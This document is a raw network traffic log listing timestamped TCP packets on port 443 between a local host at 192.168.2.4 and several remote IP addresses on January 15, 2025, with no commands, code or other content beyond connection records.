Jan 15, 2025 10:06:50.309866905 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.312057018 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.312086105 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.312100887 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.312108994 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.312144995 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.318470955 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.324567080 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.324601889 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.324604988 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.330873013 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.330903053 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.330921888 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.330935001 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.330974102 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.337167025 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.343445063 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.343478918 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.343488932 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.343498945 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.343537092 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.343539953 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.349261999 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.349308014 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.349311113 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.355082989 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.355129004 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.355133057 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.361201048 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.361241102 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.361243963 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.366835117 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.366882086 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.366884947 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.372646093 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.372694016 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.372697115 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.378621101 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.378657103 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.378659964 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.378740072 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:50.378778934 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.378815889 CET	49764	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:50.378822088 CET	443	49764	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:51.784970999 CET	49770	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:51.785001040 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:51.785988092 CET	49770	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:51.786248922 CET	49770	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:51.786264896 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:51.818738937 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:51.818825960 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:51.818929911 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:51.819142103 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:51.819175005 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.432995081 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.433226109 CET	49770	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.433260918 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.433717012 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.434113979 CET	49770	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.434134960 CET	49770	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.434143066 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.434206963 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.460005999 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.460299969 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.460340977 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.460812092 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.461076975 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.461168051 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.461169958 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.489036083 CET	49770	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.503346920 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.504913092 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.714984894 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.715174913 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.715224981 CET	49770	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.716464043 CET	49770	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.716480970 CET	443	49770	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.731791019 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.731921911 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.731988907 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.732023954 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.732120991 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.732178926 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.732192993 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.737462044 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.737525940 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.737543106 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.737610102 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.737663984 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.737677097 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.743751049 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.743809938 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.743824959 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.749989986 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.750056982 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.750071049 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.796122074 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.819900990 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.820724964 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.820772886 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.820787907 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.820929050 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:52.820983887 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.831516981 CET	49771	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:52.831522942 CET	443	49771	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:53.498317957 CET	49774	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:53.498366117 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:53.498430014 CET	49774	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:53.498691082 CET	49774	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:53.498708963 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:53.536355019 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:53.536442041 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:53.536525965 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:53.537038088 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:53.537075043 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:53.689867020 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:53.689898014 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:53.689975023 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:53.690310955 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:53.690323114 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.147300959 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.147617102 CET	49774	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.147646904 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.148202896 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.148678064 CET	49774	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.148761988 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.148864985 CET	49774	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.169230938 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.169492006 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.169545889 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.170023918 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.170408964 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.170507908 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.170531988 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.191330910 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.211366892 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.217784882 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.316529989 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.316946983 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:54.317009926 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.317590952 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.318377972 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:54.318473101 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.318615913 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:54.359332085 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.431401968 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.431540012 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.431777000 CET	49774	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.432482004 CET	49774	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.432502031 CET	443	49774	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.442462921 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.442523003 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.442574024 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.442586899 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.442615032 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.442631006 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.442684889 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.442740917 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.442805052 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.448364973 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.448421001 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.448652983 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.448717117 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.454715967 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.454782963 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.454817057 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.460998058 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.461071968 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.461108923 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.514652967 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.529215097 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.531704903 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.531909943 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.531918049 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.531980038 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.532182932 CET	49775	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:06:54.532222033 CET	443	49775	216.58.206.36	192.168.2.4
Jan 15, 2025 10:06:54.601238966 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.601385117 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.601454020 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:54.601478100 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.601505995 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.601551056 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:54.601594925 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.608252048 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.608437061 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.608510971 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:54.608524084 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.608735085 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:06:54.608798027 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:54.613787889 CET	49776	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:06:54.613804102 CET	443	49776	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:01.348341942 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:01.348362923 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:01.348472118 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:01.348997116 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:01.349010944 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:01.978344917 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:01.978781939 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:01.978842020 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:01.979347944 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:01.979734898 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:01.979778051 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:01.979790926 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:01.979834080 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:01.979835987 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:01.979883909 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.029777050 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.259295940 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.259366989 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.259406090 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.259442091 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.259485006 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.259551048 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.259551048 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.259628057 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.259694099 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.265001059 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.265108109 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.265162945 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.265182972 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.271297932 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.271430969 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.271450043 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.277715921 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.277770042 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.277785063 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.323383093 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.346050024 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.348745108 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.348850012 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.348871946 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.348964930 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.349018097 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.354209900 CET	49814	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.354243994 CET	443	49814	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.387628078 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.387660980 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.387729883 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.387938023 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:02.387952089 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:02.401046038 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:02.401087999 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:02.401149035 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:02.401340961 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:02.401361942 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.032181025 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.032702923 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:03.032718897 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.033802986 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.034502029 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.047414064 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:03.047488928 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.047764063 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.047780037 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.048072100 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:03.048145056 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:03.048312902 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.048808098 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.049670935 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.049848080 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.049891949 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.095328093 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.096445084 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.275707006 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.275741100 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.275804043 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:03.275825024 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.275876999 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.275923014 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:03.285007954 CET	49820	443	192.168.2.4	142.250.185.228
Jan 15, 2025 10:07:03.285033941 CET	443	49820	142.250.185.228	192.168.2.4
Jan 15, 2025 10:07:03.311688900 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.311824083 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.311887026 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.311904907 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.312113047 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.312216043 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.314156055 CET	49821	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.314172029 CET	443	49821	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.359251022 CET	49827	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:03.359308958 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:03.359430075 CET	49827	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:03.360497952 CET	49827	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:03.360512018 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:03.418668032 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.418714046 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.418801069 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.419068098 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:03.419079065 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:03.872124910 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:03.872653008 CET	49827	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:03.872670889 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:03.872992039 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:03.873437881 CET	49827	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:03.873497009 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:03.873656034 CET	49827	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:03.873723030 CET	49827	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:03.873739958 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.053122044 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:04.053632975 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:04.053659916 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:04.054800034 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:04.055254936 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:04.055440903 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:04.055476904 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:04.108817101 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:04.350382090 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:04.350531101 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:04.350722075 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:04.350748062 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:04.350820065 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:04.350879908 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:04.352127075 CET	49828	443	192.168.2.4	216.58.206.36
Jan 15, 2025 10:07:04.352138996 CET	443	49828	216.58.206.36	192.168.2.4
Jan 15, 2025 10:07:04.399713039 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.399782896 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.399857044 CET	49827	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:04.400221109 CET	49827	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:04.400264978 CET	443	49827	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.402776957 CET	49834	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:04.402827978 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.402929068 CET	49834	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:04.403194904 CET	49834	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:04.403213024 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.912230968 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.912547112 CET	49834	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:04.912564993 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.912885904 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.913183928 CET	49834	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:04.913247108 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:04.913386106 CET	49834	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:04.955373049 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:07.236491919 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:07.236563921 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:07.236619949 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:07.236628056 CET	49834	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:07.236659050 CET	443	49834	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:07.236732006 CET	49834	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:07.237023115 CET	443	49834	172.235.150.19	192.168.2.4
